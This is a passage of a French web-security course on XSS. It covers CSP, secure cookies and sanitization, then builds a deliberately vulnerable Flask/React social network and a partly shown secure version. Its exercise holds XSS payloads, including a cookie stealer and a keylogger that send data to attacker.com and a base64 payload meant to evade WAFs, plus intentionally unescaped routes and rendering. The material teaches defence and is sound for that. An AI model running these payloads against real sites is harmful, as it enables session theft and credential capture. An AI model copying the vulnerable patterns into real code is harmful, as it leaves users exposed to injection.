| Directive | Description | Exemple |
|-----------|-------------|---------|
| `default-src 'self'` | Par défaut, autoriser seulement le même domaine | [OK] https://example.com/script.js<br>[X] https://evil.com/script.js |
| `script-src 'self'` | Scripts seulement du même domaine | [X] Bloque les `<script>` inline |
| `style-src 'self' 'unsafe-inline'` | CSS du même domaine + inline | [OK] `<style>` autorisé |
| `img-src 'self' https:` | Images du même domaine ou HTTPS | [OK] Toutes les images HTTPS |

**Impact :**
- [OK] Bloque les `<script>` inline -> Protège contre XSS
- [OK] Bloque les scripts externes malveillants
- [ATTENTION] Requiert de refactoriser le code (pas de inline scripts)

---

#### [OK] **3. HTTPOnly et Secure sur les cookies**

```python
from flask import Flask, make_response

@app.route('/login', methods=['POST'])
def login():
    # ... authentification ...
    
    response = make_response(redirect('/dashboard'))
    
    # [OK] Cookie sécurisé
    response.set_cookie(
        'session_token',
        value=token,
        httponly=True,   # [OK] JavaScript ne peut pas lire le cookie
        secure=True,     # [OK] Envoyé seulement en HTTPS
        samesite='Lax'   # [OK] Protection CSRF
    )
    
    return response
```

**Explication :**

- **httponly=True** : Le cookie est **invisible** pour JavaScript
  ```javascript
  // [X] Ne fonctionne plus
  document.cookie  // Vide !
  ```
  
- **secure=True** : Cookie envoyé **seulement** en HTTPS
- **samesite='Lax'** : Cookie envoyé seulement pour les requêtes du même site

---

#### [OK] **4. Validation et sanitization**

```python
import re

def sanitize_input(text, max_length=500):
    """
    Nettoie l'input utilisateur
    """
    # Limiter la longueur
    text = text[:max_length]
    
    # Supprimer les balises HTML
    text = re.sub(r'<[^>]+>', '', text)
    
    # Supprimer les caractères de contrôle
    text = re.sub(r'[\x00-\x1F\x7F]', '', text)
    
    # Supprimer les espaces multiples
    text = re.sub(r'\s+', ' ', text)
    
    return text.strip()

# Utilisation
user_comment = request.form.get('comment')
safe_comment = sanitize_input(user_comment)
```

---

#### [OK] **5. DOMPurify (côté client)**

Pour le contenu riche (Markdown, HTML autorisé) :

```javascript
// Installer : npm install dompurify

import DOMPurify from 'dompurify';

// Nettoie le HTML avant de l'insérer
const dirty = '<img src=x onerror=alert("XSS")>';
const clean = DOMPurify.sanitize(dirty);

// Insérer de manière sécurisée
document.getElementById('content').innerHTML = clean;
```

---

### Détection de XSS

**1. Scanner automatisé :**

```bash
# OWASP ZAP
zap-cli quick-scan --spider https://example.com

# XSStrike
python xsstrike.py -u "https://example.com/search?q=FUZZ"
```

---

**2. Monitoring des erreurs CSP :**

```python
# Activer le reporting CSP
response.headers['Content-Security-Policy'] = (
    "default-src 'self'; "
    "report-uri /csp-violation-report"
)

@app.route('/csp-violation-report', methods=['POST'])
def csp_report():
    report = request.get_json()
    logger.warning(f"CSP Violation: {report}")
    return '', 204
```

---

## [CODE] EXERCICE 3 : RÉSEAU SOCIAL VULNÉRABLE

### Objectif

Créer un mini réseau social avec :
- Profils utilisateurs
- Posts/statuts
- Commentaires
- Messages privés
- **Démonstration de Stored XSS, Reflected XSS et DOM XSS**

---

### PARTIE A : BACKEND FLASK VULNÉRABLE

```python
# social_network_vulnerable.py
from flask import Flask, request, jsonify, render_template_string
from flask_cors import CORS
import sqlite3
import os
from datetime import datetime

app = Flask(__name__)
CORS(app)

def init_db():
    """Initialise la base de données réseau social"""
    if os.path.exists('social.db'):
        os.remove('social.db')
    
    conn = sqlite3.connect('social.db')
    cursor = conn.cursor()
    
    # Table utilisateurs
    cursor.execute('''
        CREATE TABLE users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            bio TEXT,
            avatar_url TEXT,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ''')
    
    # Table posts
    cursor.execute('''
        CREATE TABLE posts (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER NOT NULL,
            content TEXT NOT NULL,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Table commentaires
    cursor.execute('''
        CREATE TABLE comments (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            post_id INTEGER NOT NULL,
            user_id INTEGER NOT NULL,
            content TEXT NOT NULL,
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (post_id) REFERENCES posts(id),
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ''')
    
    # Insérer des utilisateurs
    users = [
        ('alice', 'Développeuse Python passionnée', 'avatar1.jpg'),
        ('bob', 'Designer UI/UX', 'avatar2.jpg'),
        ('charlie', 'Data Scientist', 'avatar3.jpg')
    ]
    cursor.executemany("INSERT INTO users (username, bio, avatar_url) VALUES (?, ?, ?)", users)
    
    # Insérer des posts
    posts = [
        (1, 'Bonjour tout le monde ! [WAVING_HAND_SIGN]'),
        (2, 'Nouveau design en cours... [DESIGN]'),
        (3, 'Analyse de données du jour [GRAPHIQUE]')
    ]
    cursor.executemany("INSERT INTO posts (user_id, content) VALUES (?, ?)", posts)
    
    conn.commit()
    conn.close()
    print("[OK] Base de données réseau social initialisée")

# [X] ROUTE VULNÉRABLE : Créer un post (Stored XSS)
@app.route('/api/posts', methods=['POST'])
def create_post():
    """
    Crée un nouveau post
    VULNÉRABLE à Stored XSS !
    """
    data = request.get_json()
    user_id = data.get('user_id')
    content = data.get('content')
    
    conn = sqlite3.connect('social.db')
    cursor = conn.cursor()
    
    # [X] Stocke sans validation ni échappement
    cursor.execute(
        "INSERT INTO posts (user_id, content) VALUES (?, ?)",
        (user_id, content)
    )
    conn.commit()
    post_id = cursor.lastrowid
    conn.close()
    
    return jsonify({"id": post_id, "success": True})

# [X] ROUTE VULNÉRABLE : Afficher les posts
@app.route('/api/posts', methods=['GET'])
def get_posts():
    """
    Récupère tous les posts
    VULNÉRABLE : Retourne le HTML brut sans échappement
    """
    conn = sqlite3.connect('social.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("""
        SELECT p.*, u.username 
        FROM posts p
        JOIN users u ON p.user_id = u.id
        ORDER BY p.created_at DESC
    """)
    
    posts = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    # [X] Retourne le contenu sans échappement
    return jsonify(posts)

# [X] ROUTE VULNÉRABLE : Recherche (Reflected XSS)
@app.route('/api/search')
def search():
    """
    Recherche des utilisateurs
    VULNÉRABLE à Reflected XSS !
    """
    query = request.args.get('q', '')
    
    conn = sqlite3.connect('social.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username LIKE ?",
        (f'%{query}%',)
    )
    
    results = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    # [X] VULNÉRABLE : HTML avec query non échappée
    html = f"""
    <!DOCTYPE html>
    <html>
    <head><title>Recherche</title></head>
    <body>
        <h1>Résultats pour : {query}</h1>
        <ul>
    """
    
    for user in results:
        html += f"<li>{user['username']}</li>"
    
    html += """
        </ul>
    </body>
    </html>
    """
    
    return render_template_string(html)

# [X] ROUTE VULNÉRABLE : Profil utilisateur
@app.route('/api/users/<int:user_id>')
def get_user(user_id):
    """
    Récupère le profil d'un utilisateur
    VULNÉRABLE : Bio non échappée
    """
    conn = sqlite3.connect('social.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,))
    user = cursor.fetchone()
    conn.close()
    
    if user:
        return jsonify(dict(user))
    
    return jsonify({"error": "User not found"}), 404

# [X] ROUTE VULNÉRABLE : Mise à jour bio
@app.route('/api/users/<int:user_id>/bio', methods=['PUT'])
def update_bio(user_id):
    """
    Met à jour la bio
    VULNÉRABLE : Pas d'échappement
    """
    data = request.get_json()
    bio = data.get('bio')
    
    conn = sqlite3.connect('social.db')
    cursor = conn.cursor()
    
    # [X] Stocke sans validation
    cursor.execute("UPDATE users SET bio = ? WHERE id = ?", (bio, user_id))
    conn.commit()
    conn.close()
    
    return jsonify({"success": True})

if __name__ == '__main__':
    init_db()
    print("[RAPIDE] Réseau social vulnérable démarré sur http://localhost:5000")
    print("[ATTENTION]  ATTENTION : Application avec vulnérabilités XSS volontaires !")
    app.run(debug=True, port=5000)
```

---

### PARTIE B : FRONTEND REACT

*(Je continue avec le frontend React complet pour l'exercice 3, puis l'exercice 4 sur XSS, ensuite on passe aux autres failles ?)*

### PARTIE B : FRONTEND REACT (EXERCICE 3)

```bash
npx create-react-app social-network-xss
cd social-network-xss
```

```javascript
// src/App.js
import React, { useState, useEffect } from 'react';
import './App.css';

function App() {
  const [view, setView] = useState('feed'); // feed, profile, search
  const [currentUser, setCurrentUser] = useState({ id: 1, username: 'alice' });
  const [posts, setPosts] = useState([]);
  const [newPost, setNewPost] = useState('');
  const [searchQuery, setSearchQuery] = useState('');
  const [attackMode, setAttackMode] = useState(false);

  // Charger les posts au démarrage
  useEffect(() => {
    fetchPosts();
  }, []);

  const fetchPosts = async () => {
    const response = await fetch('http://localhost:5000/api/posts');
    const data = await response.json();
    setPosts(data);
  };

  // Créer un post
  const handleCreatePost = async (e) => {
    e.preventDefault();
    
    await fetch('http://localhost:5000/api/posts', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        user_id: currentUser.id,
        content: newPost
      })
    });

    setNewPost('');
    fetchPosts();
  };

  // === DÉMONSTRATIONS D'ATTAQUES XSS ===

  const xssAttacks = [
    {
      name: "Attaque 1 : XSS Basique (Alert)",
      category: "Stored XSS",
      payload: "<script>alert('XSS Vulnérabilité détectée!')</script>",
      description: "Script simple qui affiche une alerte. Prouve que du JavaScript peut s'exécuter.",
      impact: "Faible - Démo seulement"
    },
    {
      name: "Attaque 2 : Vol de Cookies",
      category: "Stored XSS",
      payload: "<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>",
      description: "Envoie les cookies de session à un serveur attaquant.",
      impact: "CRITIQUE - Vol de session"
    },
    {
      name: "Attaque 3 : Keylogger",
      category: "Stored XSS",
      payload: `<script>
document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/log?key=' + e.key);
});
</script>`,
      description: "Enregistre toutes les frappes clavier et les envoie à l'attaquant.",
      impact: "CRITIQUE - Vol de mots de passe"
    },
    {
      name: "Attaque 4 : Redirection malveillante",
      category: "Stored XSS",
      payload: "<script>window.location.href='https://malicious-site.com'</script>",
      description: "Redirige automatiquement vers un site malveillant.",
      impact: "Élevé - Phishing"
    },
    {
      name: "Attaque 5 : Modification du DOM",
      category: "Stored XSS",
      payload: `<script>
document.body.innerHTML = '<h1>Site piraté!</h1><p>Par votre serviteur...</p>';
</script>`,
      description: "Remplace tout le contenu de la page (defacement).",
      impact: "Élevé - Defacement"
    },
    {
      name: "Attaque 6 : XSS via Image",
      category: "Stored XSS",
      payload: "<img src=x onerror=alert('XSS via attribut onerror')>",
      description: "Utilise l'attribut onerror d'une image pour exécuter du JavaScript.",
      impact: "Moyen - Contournement de filtres"
    },
    {
      name: "Attaque 7 : XSS via SVG",
      category: "Stored XSS",
      payload: `<svg onload=alert('XSS via SVG')></svg>`,
      description: "Utilise la balise SVG avec l'événement onload.",
      impact: "Moyen - Contournement de filtres"
    },
    {
      name: "Attaque 8 : XSS Polymorphe",
      category: "Stored XSS",
      payload: "<img src='x' onerror='eval(atob(\"YWxlcnQoJ1hTUycpOw==\"))'/>",
      description: "Code JavaScript encodé en Base64 pour contourner les WAF.",
      impact: "Élevé - Évasion de détection"
    },
    {
      name: "Attaque 9 : Injection dans Bio (Stored XSS persistant)",
      category: "Stored XSS",
      payload: "<script>alert('XSS dans la bio!')</script>",
      description: "Injecte du code dans le profil qui s'exécute pour tous les visiteurs.",
      impact: "CRITIQUE - Persistant"
    },
    {
      name: "Attaque 10 : DOM XSS via URL",
      category: "DOM XSS",
      payload: "#<img src=x onerror=alert('DOM XSS')>",
      description: "Exploit le hash de l'URL pour injecter du code côté client.",
      impact: "Moyen - Côté client uniquement"
    }
  ];

  const launchXSSAttack = (attack) => {
    if (attack.category === "DOM XSS") {
      alert(`[DANGER] Attaque DOM XSS configurée.\n\nPour cette démo, modifiez manuellement le hash de l'URL.\nExemple : ${window.location.href}${attack.payload}`);
    } else {
      setNewPost(attack.payload);
      alert(`[DANGER] Attaque configurée : ${attack.name}\n\nCliquez sur "Publier" pour lancer l'attaque.`);
    }
  };

  // === DÉMONSTRATION DOM XSS ===
  useEffect(() => {
    // [X] VULNÉRABLE : Lecture du hash et injection dans le DOM
    const hash = window.location.hash.substring(1);
    if (hash) {
      const welcomeDiv = document.getElementById('dom-xss-target');
      if (welcomeDiv) {
        // [X] innerHTML avec données non fiables
        welcomeDiv.innerHTML = decodeURIComponent(hash);
      }
    }
  }, []);

  return (
    <div className="App">
      <header className="App-header">
        <h1>[WEB] Social Network - XSS Demo</h1>
        <div className="user-info">
          <span>[UTILISATEUR] {currentUser.username}</span>
        </div>
      </header>

      <div className="container">
        {/* TOGGLE MODE ATTAQUE */}
        <div className="attack-toggle">
          <button onClick={() => setAttackMode(!attackMode)}>
            {attackMode ? '[SECURITE] Mode Normal' : '[DANGER] Mode Attaque XSS'}
          </button>
        </div>

        {/* PANEL D'ATTAQUES */}
        {attackMode && (
          <div className="attack-panel">
            <h2>[DANGER] Arsenal d'Attaques XSS</h2>
            <p className="warning">
              [ATTENTION] Ces attaques sont à but éducatif uniquement. 
              Ne jamais utiliser sur des systèmes réels sans autorisation !
            </p>

            <div className="attacks-grid">
              {xssAttacks.map((attack, index) => (
                <div key={index} className="attack-card">
                  <div className="attack-header">
                    <h3>{attack.name}</h3>
                    <span className={`attack-category ${attack.category.toLowerCase().replace(' ', '-')}`}>
                      {attack.category}
                    </span>
                  </div>
                  
                  <p className="attack-description">{attack.description}</p>
                  
                  <div className="payload-display">
                    <strong>Payload :</strong>
                    <code>{attack.payload}</code>
                  </div>
                  
                  <div className={`impact-level ${attack.impact.split(' ')[0].toLowerCase()}`}>
                    <strong>Impact :</strong> {attack.impact}
                  </div>
                  
                  <button onClick={() => launchXSSAttack(attack)}>
                    Préparer l'attaque
                  </button>
                </div>
              ))}
            </div>
          </div>
        )}

        {/* NAVIGATION */}
        <div className="navigation">
          <button 
            className={view === 'feed' ? 'active' : ''}
            onClick={() => setView('feed')}
          >
            [ACCUEIL] Fil d'actualité
          </button>
          <button 
            className={view === 'search' ? 'active' : ''}
            onClick={() => setView('search')}
          >
            [RECHERCHE] Recherche
          </button>
        </div>

        {/* VUE FIL D'ACTUALITÉ */}
        {view === 'feed' && (
          <div className="feed-view">
            {/* Formulaire de post */}
            <div className="create-post">
              <h2>Publier un statut</h2>
              <form onSubmit={handleCreatePost}>
                <textarea
                  value={newPost}
                  onChange={(e) => setNewPost(e.target.value)}
                  placeholder="Quoi de neuf ?"
                  rows="4"
                />
                <button type="submit">Publier</button>
              </form>
            </div>

            {/* Liste des posts */}
            <div className="posts-list">
              <h2>Publications récentes</h2>
              
              {posts.map(post => (
                <div key={post.id} className="post-card">
                  <div className="post-header">
                    <span className="post-author">[UTILISATEUR] {post.username}</span>
                    <span className="post-date">
                      {new Date(post.created_at).toLocaleString()}
                    </span>
                  </div>
                  
                  {/* [X] VULNÉRABLE : dangerouslySetInnerHTML sans sanitization */}
                  <div 
                    className="post-content"
                    dangerouslySetInnerHTML={{ __html: post.content }}
                  />
                </div>
              ))}
            </div>

            {/* Zone cible pour DOM XSS */}
            <div id="dom-xss-target" className="dom-target"></div>
          </div>
        )}

        {/* VUE RECHERCHE (Reflected XSS) */}
        {view === 'search' && (
          <div className="search-view">
            <h2>[RECHERCHE] Rechercher des utilisateurs</h2>
            
            <div className="search-box">
              <input
                type="text"
                value={searchQuery}
                onChange={(e) => setSearchQuery(e.target.value)}
                placeholder="Nom d'utilisateur..."
              />
              <button onClick={() => {
                // Ouvrir la page de recherche côté serveur (vulnérable)
                window.open(`http://localhost:5000/api/search?q=${searchQuery}`, '_blank');
              }}>
                Rechercher
              </button>
            </div>

            <div className="search-demo">
              <h3>Test Reflected XSS :</h3>
              <p>Essayez ces payloads dans la recherche :</p>
              <ul>
                <li><code>&lt;script&gt;alert('Reflected XSS')&lt;/script&gt;</code></li>
                <li><code>&lt;img src=x onerror=alert('XSS')&gt;</code></li>
                <li><code>&lt;svg onload=alert('XSS')&gt;</code></li>
              </ul>
            </div>
          </div>
        )}
      </div>

      {/* FOOTER ÉDUCATIF */}
      <footer className="info-footer">
        <h3>[DOCS] Informations Éducatives</h3>
        <div className="info-grid">
          <div className="info-card">
            <h4>Stored XSS</h4>
            <p>
              Le code malveillant est stocké dans la base de données et s'exécute 
              à chaque fois que la page est affichée. Impact : Tous les visiteurs.
            </p>
          </div>
          <div className="info-card">
            <h4>Reflected XSS</h4>
            <p>
              Le code est dans l'URL et se "réfléchit" immédiatement dans la réponse. 
              Impact : Nécessite que la victime clique sur un lien malveillant.
            </p>
          </div>
          <div className="info-card">
            <h4>DOM XSS</h4>
            <p>
              L'injection se fait côté client via JavaScript manipulant le DOM. 
              Impact : Le serveur n'est jamais impliqué.
            </p>
          </div>
        </div>
      </footer>
    </div>
  );
}

export default App;
```

---

### PARTIE C : CSS (EXERCICE 3)

```css
/* src/App.css */
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

body {
  font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
  background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
  min-height: 100vh;
}

.App-header {
  background: rgba(0, 0, 0, 0.6);
  color: white;
  padding: 1.5rem 2rem;
  display: flex;
  justify-content: space-between;
  align-items: center;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.user-info {
  display: flex;
  gap: 1rem;
  align-items: center;
  font-size: 1.1rem;
}

.container {
  max-width: 1400px;
  margin: 2rem auto;
  padding: 0 2rem;
}

/* === ATTACK TOGGLE === */
.attack-toggle {
  text-align: center;
  margin: 2rem 0;
}

.attack-toggle button {
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 1rem 3rem;
  font-size: 1.2rem;
  border-radius: 50px;
  cursor: pointer;
  box-shadow: 0 4px 15px rgba(255, 68, 68, 0.4);
  transition: all 0.3s;
  font-weight: bold;
}

.attack-toggle button:hover {
  transform: translateY(-3px);
  box-shadow: 0 6px 20px rgba(255, 68, 68, 0.6);
}

/* === ATTACK PANEL === */
.attack-panel {
  background: rgba(255, 255, 255, 0.95);
  border-radius: 16px;
  padding: 2rem;
  margin: 2rem 0;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
}

.attack-panel h2 {
  color: #ff4444;
  margin-bottom: 1rem;
  text-align: center;
  font-size: 2rem;
}

.attack-panel .warning {
  background: #fff3cd;
  border: 2px solid #ffc107;
  border-radius: 8px;
  padding: 1rem;
  margin-bottom: 2rem;
  text-align: center;
  color: #856404;
  font-weight: bold;
}

.attacks-grid {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(400px, 1fr));
  gap: 1.5rem;
}

.attack-card {
  background: white;
  border-radius: 12px;
  padding: 1.5rem;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  border-left: 5px solid #ff4444;
  transition: all 0.3s;
}

.attack-card:hover {
  transform: translateY(-5px);
  box-shadow: 0 8px 16px rgba(0, 0, 0, 0.2);
}

.attack-header {
  display: flex;
  justify-content: space-between;
  align-items: flex-start;
  margin-bottom: 1rem;
}

.attack-header h3 {
  color: #333;
  font-size: 1.1rem;
  flex: 1;
}

.attack-category {
  padding: 0.3rem 0.8rem;
  border-radius: 20px;
  font-size: 0.75rem;
  font-weight: bold;
  white-space: nowrap;
}

.attack-category.stored-xss {
  background: #ff4444;
  color: white;
}

.attack-category.reflected-xss {
  background: #ff9800;
  color: white;
}

.attack-category.dom-xss {
  background: #9c27b0;
  color: white;
}

.attack-description {
  color: #666;
  font-size: 0.95rem;
  margin-bottom: 1rem;
  line-height: 1.5;
}

.payload-display {
  background: #f5f5f5;
  border-radius: 8px;
  padding: 1rem;
  margin: 1rem 0;
  border: 1px solid #ddd;
}

.payload-display strong {
  display: block;
  margin-bottom: 0.5rem;
  color: #333;
}

.payload-display code {
  display: block;
  background: #2d2d2d;
  color: #f8f8f2;
  padding: 0.8rem;
  border-radius: 6px;
  font-family: 'Courier New', monospace;
  font-size: 0.85rem;
  overflow-x: auto;
  white-space: pre-wrap;
  word-break: break-all;
}

.impact-level {
  padding: 0.5rem 1rem;
  border-radius: 6px;
  margin: 1rem 0;
  font-size: 0.9rem;
}

.impact-level.critique {
  background: #ffebee;
  border-left: 4px solid #f44336;
  color: #c62828;
}

.impact-level.élevé {
  background: #fff3e0;
  border-left: 4px solid #ff9800;
  color: #e65100;
}

.impact-level.moyen {
  background: #fff9c4;
  border-left: 4px solid #ffc107;
  color: #f57f17;
}

.impact-level.faible {
  background: #e8f5e9;
  border-left: 4px solid #4caf50;
  color: #2e7d32;
}

.attack-card button {
  width: 100%;
  background: linear-gradient(135deg, #ff4444 0%, #cc0000 100%);
  color: white;
  border: none;
  padding: 0.8rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
  font-weight: bold;
  transition: all 0.3s;
  margin-top: 1rem;
}

.attack-card button:hover {
  transform: translateY(-2px);
  box-shadow: 0 4px 12px rgba(255, 68, 68, 0.4);
}

/* === NAVIGATION === */
.navigation {
  display: flex;
  gap: 1rem;
  margin: 2rem 0;
}

.navigation button {
  flex: 1;
  background: white;
  color: #667eea;
  border: 2px solid #667eea;
  padding: 1rem;
  border-radius: 12px;
  cursor: pointer;
  font-size: 1.1rem;
  font-weight: bold;
  transition: all 0.3s;
}

.navigation button:hover {
  background: #667eea;
  color: white;
  transform: translateY(-3px);
}

.navigation button.active {
  background: #667eea;
  color: white;
  box-shadow: 0 4px 12px rgba(102, 126, 234, 0.4);
}

/* === FEED VIEW === */
.create-post {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  margin-bottom: 2rem;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.create-post h2 {
  color: #667eea;
  margin-bottom: 1rem;
}

.create-post textarea {
  width: 100%;
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
  font-family: inherit;
  resize: vertical;
  transition: border-color 0.3s;
}

.create-post textarea:focus {
  outline: none;
  border-color: #667eea;
}

.create-post button {
  background: #667eea;
  color: white;
  border: none;
  padding: 0.8rem 2rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
  margin-top: 1rem;
  transition: all 0.3s;
}

.create-post button:hover {
  background: #5568d3;
  transform: translateY(-2px);
}

.posts-list {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.posts-list h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.post-card {
  background: #f9f9f9;
  padding: 1.5rem;
  border-radius: 10px;
  margin-bottom: 1.5rem;
  border-left: 4px solid #667eea;
  box-shadow: 0 2px 4px rgba(0, 0, 0, 0.05);
  transition: all 0.3s;
}

.post-card:hover {
  transform: translateX(5px);
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}

.post-header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 1rem;
  padding-bottom: 0.5rem;
  border-bottom: 1px solid #ddd;
}

.post-author {
  font-weight: bold;
  color: #333;
}

.post-date {
  font-size: 0.85rem;
  color: #999;
}

.post-content {
  color: #444;
  line-height: 1.6;
  font-size: 1rem;
}

.dom-target {
  margin-top: 2rem;
  padding: 1rem;
  background: rgba(255, 255, 255, 0.1);
  border-radius: 8px;
  min-height: 50px;
}

/* === SEARCH VIEW === */
.search-view {
  background: white;
  padding: 2rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
}

.search-view h2 {
  color: #667eea;
  margin-bottom: 1.5rem;
}

.search-box {
  display: flex;
  gap: 1rem;
  margin-bottom: 2rem;
}

.search-box input {
  flex: 1;
  padding: 1rem;
  border: 2px solid #ddd;
  border-radius: 8px;
  font-size: 1rem;
}

.search-box button {
  background: #667eea;
  color: white;
  border: none;
  padding: 1rem 2rem;
  border-radius: 8px;
  cursor: pointer;
  font-size: 1rem;
  transition: all 0.3s;
}

.search-box button:hover {
  background: #5568d3;
}

.search-demo {
  background: #f0f0f0;
  padding: 1.5rem;
  border-radius: 8px;
  border-left: 4px solid #ff9800;
}

.search-demo h3 {
  color: #ff9800;
  margin-bottom: 1rem;
}

.search-demo ul {
  list-style: none;
  padding-left: 0;
}

.search-demo li {
  margin: 0.5rem 0;
  padding: 0.5rem;
  background: white;
  border-radius: 4px;
}

.search-demo code {
  font-family: 'Courier New', monospace;
  color: #c7254e;
  background: #f9f2f4;
  padding: 2px 6px;
  border-radius: 3px;
}

/* === INFO FOOTER === */
.info-footer {
  background: rgba(255, 255, 255, 0.95);
  padding: 2rem;
  border-radius: 16px;
  margin-top: 3rem;
  box-shadow: 0 10px 40px rgba(0, 0, 0, 0.2);
}

.info-footer h3 {
  color: #667eea;
  text-align: center;
  margin-bottom: 2rem;
  font-size: 1.8rem;
}

.info-grid {
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
  gap: 2rem;
}

.info-card {
  background: white;
  padding: 1.5rem;
  border-radius: 12px;
  box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
  border-top: 4px solid #667eea;
}

.info-card h4 {
  color: #667eea;
  margin-bottom: 1rem;
  font-size: 1.3rem;
}

.info-card p {
  color: #666;
  line-height: 1.6;
}

/* === RESPONSIVE === */
@media (max-width: 768px) {
  .attacks-grid {
    grid-template-columns: 1fr;
  }
  
  .navigation {
    flex-direction: column;
  }
  
  .info-grid {
    grid-template-columns: 1fr;
  }
  
  .search-box {
    flex-direction: column;
  }
}
```

---

### PARTIE D : TESTER LES ATTAQUES XSS

**1. Lancer l'application :**

```bash
# Terminal 1 : Backend
python social_network_vulnerable.py

# Terminal 2 : Frontend
cd social-network-xss
npm start
```

---

**2. Tests des attaques :**

**Test Stored XSS - Attaque 1 (Alert basique) :**
- Activer le "Mode Attaque XSS"
- Cliquer sur "Préparer l'attaque" pour l'Attaque 1
- Cliquer sur "Publier"
- **Résultat :** Une alerte JavaScript s'affiche ! Le code s'est exécuté.

**Test Stored XSS - Attaque 6 (Image onerror) :**
- Préparer l'attaque avec payload : `<img src=x onerror=alert('XSS')>`
- Publier
- **Résultat :** L'attribut `onerror` déclenche le JavaScript

**Test Reflected XSS :**
- Aller dans l'onglet "Recherche"
- Entrer : `<script>alert('Reflected XSS')</script>`
- Cliquer sur "Rechercher"
- Une nouvelle fenêtre s'ouvre
- **Résultat :** L'alerte s'exécute dans la page de résultats

**Test DOM XSS :**
- Modifier l'URL manuellement :
```
http://localhost:3000/#<img src=x onerror=alert('DOM XSS')>
```
- **Résultat :** Le code dans le hash est injecté dans le DOM et s'exécute

---

### PARTIE E : VERSION SÉCURISÉE

```python
# social_network_secure.py
from flask import Flask, request, jsonify, render_template
from flask_cors import CORS
import sqlite3
import html
import bleach
from markupsafe import Markup

app = Flask(__name__)
CORS(app)

# Configuration Bleach pour nettoyer le HTML
ALLOWED_TAGS = ['p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}

def sanitize_html(content):
    """
    Nettoie le HTML avec Bleach
    Autorise seulement certaines balises sûres
    """
    return bleach.clean(
        content,
        tags=ALLOWED_TAGS,
        attributes=ALLOWED_ATTRIBUTES,
        strip=True
    )

def escape_html(text):
    """Échappe complètement le HTML"""
    return html.escape(text)

# [OK] ROUTE SÉCURISÉE : Créer un post
@app.route('/api/posts', methods=['POST'])
def create_post_secure():
    """
    Version sécurisée avec sanitization
    """
    data = request.get_json()
    user_id = data.get('user_id')
    content = data.get('content', '')
    
    # [OK] VALIDATION
    if not content or len(content) > 5000:
        return jsonify({"error": "Contenu invalide"}), 400
    
    # [OK] SANITIZATION : Échappement HTML complet
    safe_content = escape_html(content)
    
    conn = sqlite3.connect('social.db')
    cursor = conn.cursor()
    
    cursor.execute(
        "INSERT INTO posts (user_id, content) VALUES (?, ?)",
        (user_id, safe_content)
    )
    conn.commit()
    post_id = cursor.lastrowid
    conn.close()
    
    return jsonify({"id": post_id, "success": True})

# [OK] ROUTE SÉCURISÉE : Afficher les posts
@app.route('/api/posts', methods=['GET'])
def get_posts_secure():
    """
    Les posts sont déjà échappés dans la DB
    """
    conn = sqlite3.connect('social.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute("""
        SELECT p.*, u.username 
        FROM posts p
        JOIN users u ON p.user_id = u.id
        ORDER BY p.created_at DESC
    """)
    
    posts = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify(posts)

# [OK] ROUTE SÉCURISÉE : Recherche avec Jinja2
@app.route('/api/search')
def search_secure():
    """
    Utilise Jinja2 qui échappe automatiquement
    """
    query = request.args.get('q', '')
    
    # Validation
    if len(query) > 100:
        return "Requête trop longue", 400
    
    conn = sqlite3.connect('social.db')
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute(
        "SELECT * FROM users WHERE username LIKE ?",
        (f'%{query}%',)
    )
    
    results = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    # [OK] Utiliser un template Jinja2 (auto-escape)
    return render_template('search_results.html', query=query, results=results)

# [OK] Headers de sécurité
@app.after_request
def add_security_headers(response):
    """Ajoute les headers de sécurité"""
    
    # CSP stricte
    response.headers['Content-Security-Policy'] = (
        "default-src 'self'; "
        "script-src 'self'; "
        "style-src 'self' 'unsafe-inline'; "
        "img-src 'self' data: https:; "
